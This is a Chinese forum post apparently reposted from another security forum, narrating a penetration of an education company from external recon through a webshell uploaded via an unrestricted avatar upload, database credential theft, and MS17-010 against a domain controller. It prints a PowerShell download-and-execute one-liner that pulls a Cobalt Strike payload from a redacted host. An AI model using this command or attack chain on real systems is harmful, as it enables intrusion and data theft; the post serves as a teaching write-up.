找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1072|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

" Z" M( i$ I$ D5 K( _% ^# ] 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 1 N& G% V M. K* B0 P

: Q) j( J, @8 X! R/ Y3 z) d' A

2 ^% x+ m5 I9 x9 R0 H' x; t) N   5 e; K* a6 }2 Z2 F

9 b% b( D4 h, c3 m$ A

/ D# j0 F3 @( q 正文 . h2 ~9 V3 I3 E' {# B

: N% u3 p, ~' z

# O1 _- c0 M/ ^   c1 z0 l0 i0 ~* l7 { y

( {' A; v @1 N$ R; u* y

) O E" ~% q$ q0 z1 N9 j 目标:www.xxxx.com(一家教育机构)
6 b6 }; ~; l# J. c' P" l/ r
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
* n- j' G; S! ?/ t% ~, n9 W

, a A) D$ M, S( l

5 e. k+ a5 M1 A vshapes= ! i" O6 l6 m2 B" ^

; `+ w5 G8 S& [) l e

" Z( m' U) Y/ X# S9 d0 Q 进行了简单的信息搜集
+ }# x! n8 r8 |, s, k& g
" w5 j1 |% M9 M9 \! W2 u! Z0 F
' t* q5 a, {' Y4 _6 ~1 c2 I1 W8 j

) a& b( Q1 w* c5 E

& [6 K9 o; j% }7 o2 y4 C* m' y- V 子域名搜集 2 \) F" A, k8 F4 H& y. S

( i, l0 D5 D# D, s

/ C$ o. k! r1 V) q+ D3 ], Q vshapes= $ d. I& I- e7 K: \

; q# r: {5 v0 q! B; j1 w8 D

' X- f8 U& K+ O' i$ \! o fofa找资产
0 B, j5 M2 _+ }' q
- A1 @# n( \! O4 K* d+ ^% n) \
* @. ^& m% Q4 G2 H/ F6 X, @

9 D1 s5 X; m2 E9 O, ~( C; w% O

0 j( H% L% P7 U% |7 x @ vshapes= ! e' ?% f, _; ?8 ?1 C/ x: Z% ~* H+ E

3 l9 ^$ p+ @% W5 X! A, Q& `7 l2 i

2 @! s7 O- m- ]* l& _ 一共七个资产。去重之后只有两个。
" ^1 r* q! E; b3 A6 ], s( J2 d
5 z8 {( }/ r! b5 ]7 a
1 }; V1 b) ~! `8 ~

3 G" n! C' W0 L e O7 O9 v

0 e; u& E9 C8 D8 `! h: o 目录探测 % V3 x/ \. D& n

# Y" ^! u' ?4 l+ m

y4 a6 a1 E. Q2 z. B: |7 j; \. p vshapes=! X* F9 u4 g+ c" ]

M8 Y# s8 g9 h- j0 \

' G @- K) f L( t3 |( ~ 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
/ f" N3 G: L7 C6 j' A" U% x+ @) S2 o
' f M1 m* E" v
2 V. X1 R$ {5 {5 M5 i1 H

) g, M1 L- o z, w `+ y

+ ~( ^5 J# m$ N1 C7 D0 j 我又尝试了通过修改返回包来绕过登录界面/ X( `* D. v9 e- M3 o

8 q s* I6 x2 N6 r# R

' f% V' i1 A/ {, t) l vshapes= 3 c$ O) V; r1 [, z/ W( q$ T4 J

}- u$ L% x- i7 [+ C3 U" l2 T

+ w4 `$ u% J! d) Q" \3 T5 k% k 还是不行,尝试注入无果 1 u% \. M+ y; C: R; N0 I

1 j" e1 j1 n, ^! d3 {- b/ f

& b J/ e8 C% l7 q2 s2 t/ C vshapes=, E/ \' ~, A9 {! Y+ m! [

$ \- V. I( p4 g' Y/ \

5 F1 ?0 J5 ^+ ^ 不过我目录探测出了一处Spring信息泄露
- T& T9 v0 ^" Y# f2 f+ e O' i+ P, Y
$ B4 b3 p( m& u5 a4 V, y
- {, m3 B5 M, H9 A7 i0 b( f9 e

& y! D0 C& x( h$ w, J1 p- e$ j0 g

+ X- b! t; ?8 E- U3 f9 r vshapes=$ y7 z+ E+ @0 ~9 c g" n" e

$ W0 ?* b& Z. w7 v6 b/ m! ]- e

$ o; A$ X6 D* L3 x3 i 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 / n- n b# n( O2 V

R8 t& G; Z) S$ `! x

, w9 v: \5 ?5 r8 ~$ k( I2 f vshapes= 7 k w1 Q5 l+ d

" D5 s$ J2 s L% f: s) A; L# p1 u1 \

; T7 {/ I I. J 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。% { A- ?3 }/ w/ ^2 [4 c. V

& r9 @& f9 W2 `3 C- F/ }5 Q5 j

7 K: S$ J0 _; ]; e6 n0 F6 V( h/ @- `2 A vshapes= 8 X. ? \; W ?

. P9 ]7 F; A/ H& T

6 r# ~0 L$ J# r7 M' P 获取有些师傅到这一步就手机抓包电脑测了。# F0 h; ~6 }+ J' @: Q0 U, e( W: c u! ~

+ ]. B0 g- M' G$ l5 R) C0 W

$ j* X1 K: d, O Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 1 z: x4 r0 ~6 ?9 Q. T- T

( d+ d0 a+ ~6 r9 c2 Y( F' f3 J+ R

# | k0 \ ]7 ~4 |$ V; @5 ~/ k) C" _& \ 其中在一个公众号发现了小程序,可以进行注册。 9 E2 V8 U& U1 M* M" J0 c0 l

8 B" [& A1 w, ?6 V1 P

$ c$ t/ i+ T. I+ c 看到了头像上传,尝试上传获取WebShell# C9 ?' X# a1 |$ R$ x

9 y3 K& @" Q2 D& `

* w i" u: y' K8 k( n& A% r3 | vshapes=% }3 V+ s% d1 P) X$ B1 }: x/ R

# P0 c6 Y' x0 X0 ~8 v3 G, B% w

2 @' y9 l+ n( S, p6 M- ^% u# _ 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问 " Z+ Z9 g. s0 P! j. t

' [$ l7 D; I% a$ T8 B4 Z- y! T

# n2 R& K$ A1 v% y( }, j- } vshapes=/ ]6 O2 Y$ f) v; m) P' k

4 k: V' F8 [ `7 s& u

1 l( V: O' L& {( O/ Q2 K) b# e 然后上了大马7 n3 q* x+ a" h1 a" k# V

/ d" G( {/ h! h! x5 k

1 J% K% t5 A$ M$ ^ U( |$ U vshapes= 5 M, a+ D, f. r P4 s1 r" F

2 G; N {. @$ l: ^4 ^5 X

8 H" m2 s P- T: u6 {6 x. b vshapes= & [6 C; S% W V& t

% l9 ]; u9 u! J$ Z3 B- }# n. u

* J. i; h' F7 K/ t 通过翻找文件发现数据库账号密码& q! v, z% W' m- H, s0 m

" r) B- S3 C! z( b# X; C

* I1 Z# a; q$ F/ D* y8 ^6 k# q vshapes=2 O! o9 o+ b1 \; w X! Z

# v2 U+ L4 F: W. N* N- h) G

/ | H( {& G6 I& Z& t& L: V6 i --内网渗透7 Q+ Q" X& N9 J

' ~7 B7 Q0 f4 C; Q

* p5 V2 b% E9 s" P 直接通过powershell执行 cs上线+ k# {( ?$ J" p9 B

9 G6 z7 s$ b0 x% z0 A1 D

3 Q1 g, t$ Y4 }1 @, r( Z6 M4 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" & q i6 T9 U) b, y2 k- U$ y/ b

! k* e- @% t( r; w% e

. l- {. f$ u" p; k9 e* x vshapes= % F9 C& l) M1 z I

, J5 ~& ]: O7 C

, ]! b2 q. H# t/ v9 u% i7 p; b 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破) K) t$ Y1 ]3 Y' J

3 n ?' F1 K3 c1 |1 }6 z, n

7 M/ `: B' v+ N vshapes=3 n2 L: e4 v9 v- k

, y9 y, _ I) W) o2 f2 }

% g) |( x7 K5 n; _" z) c2 T9 b 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
& }' b9 d3 V1 M$ c' e
2 {8 O" X2 q4 C
" V z. g! c2 b% j1 Q: U& U3 @
; X1 n% P! X Z( `% }6 Y

+ L& o+ P. m0 ^- @

% B7 z q3 `; f5 @* c# Q( L vshapes= : ^' N" N+ G6 l" Z& {! a& R

4 X2 I5 l8 f! m& @/ W7 y

1 p1 k( o, I, S5 q! z2 l/ Z. R6 H 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
! k+ p2 ^1 ^, }1 {& ?
1 Y, E; i x5 [' C: }9 }
2 P. \$ S, k3 [# [" O) q

; i; L1 A/ u3 p& ?* t0 G4 p' G

+ [; q! I: d, F) b vshapes= e, t4 R) o) T% W) u5 f# b$ E

2 Y' E3 N' s& N" M

7 T7 c$ G7 j* \& C( g5 ]
% Q0 q( Q" H) w* l) D3 |) u
3 V7 L7 J0 [6 a5 e: T9 n3 S7 ~! Y5 x
@5 g6 D- J- r5 V6 I' X" l1 Q

6 ]- k) u* b* \) K

- d, ?3 G, A. R* r' t   7 i0 G$ y; @. |7 Q4 `/ A( A

/ \: k6 ^' V l

9 u* n) f9 g% o7 ^7 }3 b: w 小结* _* d$ `4 b- o& O

5 x3 L/ ]! k4 j+ W% z( K

& H1 c6 I$ x. J" m9 s, `  6 @( f# D3 x+ T4 g0 n8 J: K/ ^7 n# L

3 V, c" f& o3 C

' n& \2 A1 G6 I( _3 P$ \ 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! ; k4 |/ ?4 c3 b7 w$ M

, ]& d0 n5 h2 O# Q9 u5 k

4 o8 p5 E( q: w* |- V: H, F! T  - X: V3 h2 V! f) `8 O

8 T" k" {4 H: {# v) |! l% N; z4 d/ f& t
    , l. B3 d* |3 _4 \7 ]
  • - G3 ?0 E6 }! ~! A   % a$ X6 o+ A+ r8 S; U
  • " @/ j- [' W: H1 V( t9 \; O# {
  • - i. i" q1 \- l& R   9 ~/ Z" [' v5 ^; K" @, [! ]2 I
  • " ^7 ]4 |/ b/ ~' f) j9 a2 p
4 e [# {( k2 V% H+ ?$ \

+ x5 v" b; V" D+ l- }7 F8 B 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html ; E3 x, v7 T. B! d1 I

~, Y! p6 Z0 ^, p& ]4 E( ~

! u2 P" d: C! ~9 U: `   - Z! X% _. z- l7 h- S& z' n' t

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表